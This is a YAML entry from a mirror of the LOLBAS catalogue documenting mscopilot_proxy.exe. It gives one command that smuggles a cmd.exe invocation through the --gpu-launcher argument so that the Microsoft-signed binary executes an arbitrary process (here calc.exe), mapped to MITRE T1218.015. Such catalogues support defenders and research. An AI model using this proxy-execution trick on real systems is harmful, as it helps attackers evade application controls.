mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2026-10-22 16:20:26 +02:00
24 lines
893 B
YAML
24 lines
893 B
YAML
---
|
|
Name: Mscopilot_proxy.exe
|
|
Description: Microsoft Copilot proxy launcher
|
|
Author: 4n4s4zi
|
|
Created: 2026-04-14
|
|
Commands:
|
|
- Command: mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"
|
|
Description: "`mscopilot_proxy.exe` will spawn the provided command. Parent `mscopilot_proxy.exe` process needs to be killed to avoid command being executed an infinite number of times."
|
|
Usecase: Executes a process under a trusted Microsoft signed binary
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218.015
|
|
OperatingSystem: Windows 11
|
|
Tags:
|
|
- Execute: CMD
|
|
Full_Path:
|
|
- Path: C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe
|
|
Detection:
|
|
Resources:
|
|
- Link: https://github.com/4n4s4zi/tour-de-mscopilot
|
|
Acknowledgement:
|
|
- Person: 4n4s4zi
|
|
Handle: '@4n4s4zi'
|